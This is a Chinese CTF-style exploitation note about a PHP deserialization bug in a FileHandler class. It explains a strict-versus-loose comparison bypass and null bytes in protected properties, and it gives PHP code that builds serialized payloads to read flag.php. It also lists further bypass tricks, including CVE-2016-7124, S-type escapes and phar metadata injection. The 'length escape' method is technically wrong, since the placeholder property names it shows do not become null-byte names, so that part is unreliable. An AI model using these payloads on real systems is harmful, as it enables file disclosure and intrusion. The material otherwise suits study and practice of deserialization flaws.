漏洞概述
目标系统存在一个 FileHandler 类,其析构函数 __destruct() 会根据 $op 属性决定操作:当 $op === "2" 时执行 read() 方法读取文件。由于使用了严格比较 ===,可以通过将 $op 设置为整数 2 绕过判断,同时满足 $op == "2"(弱比较)进入读取流程。序列化对象时受 protected 属性影响,会产生空字节 \x00,需绕过输入过滤 is_valid()。
关键类结构(推测)
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __destruct() {
if ($this->op === "2") // 严格比较,仅当 op 为字符串 "2" 才置空
$this->content = "";
else if ($this->op == "2") // 弱比较,整数 2 可通过此处
$this->read();
// ... 其他操作
}
function read() {
if (!empty($this->filename)) {
echo file_get_contents($this->filename);
}
}
}绕过原理
绕过 __destruct 严格比较
$op = 2(int)与"2"进行===时为 false,不会进入置空分支;与
"2"进行==时为 true,成功执行read()。
处理 protected 属性的空字节
protected 属性序列化格式:\x00*\x00<属性名>
例如:s:5:"\x00*\x00op";
若输入过滤函数 is_valid() 拦截 \x00,则需对序列化字符串进行编码或使用长度逃逸技术。
利用方法
方法一:URL编码绕过(GET传参自动解码)
当 is_valid() 检查的是解码前的原始输入,或未过滤 %00 时可用。
<?php
class FileHandler {
protected $op = 2;
protected $filename = "flag.php";
protected $content = "";
}
$obj = new FileHandler();
$ser = serialize($obj);
$ser_url = str_replace("\x00", "%00", $ser);
echo $ser_url;
?>方法二:序列化长度逃逸(通用绕过 \x00 过滤)
当 is_valid() 对解码后的字符串严格过滤 \x00 时,可通过构造长度不匹配的 Payload,使 PHP 在反序列化时自动"生成"含 \x00 的属性名。
<?php
// 用"aaaaa"占位属性名(长度5)
$payload = 'O:11:"FileHandler":3:{s:5:"aaaaa";i:2;s:11:"aaaaaaaaaaa";s:8:"flag.php";s:10:"aaaaaaaaaa";s:0:"";}';
// aaaaa → \x00*\x00, aaaaaaaaaaa → \x00*\x00filename, aaaaaaaaaa → \x00*\x00content
?>方法三:__wakeup 绕过(CVE-2016-7124)
PHP 5.6.25 之前,当序列化串中表示的对象属性个数大于实际属性个数时,__wakeup() 不会被调用。
原始:O:11:"FileHandler":3:{...}
修改:O:11:"FileHandler":4:{...}方法四-八:其他绕过技术
S类型: S:5:"\00*\00op" 代替 s:5:"\x00*\x00op"
双重URL编码: %00 → %2500
字符串逃逸: 利用 str_replace 长度变化
Phar反序列化: phar:// 协议 metadata 注入
PHP引用(R): 用 R 引用绕过属性值检查
完整利用步骤
确定目标入口
测试 is_valid 过滤
生成 Payload
发送请求
获取结果
参考资料
PHP反序列化属性格式差异
CVE-2016-7124
Phar反序列化利用
OWASP PHP 反序列化 Cheat Sheet
FileHandler 反序列化漏洞利用笔记
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法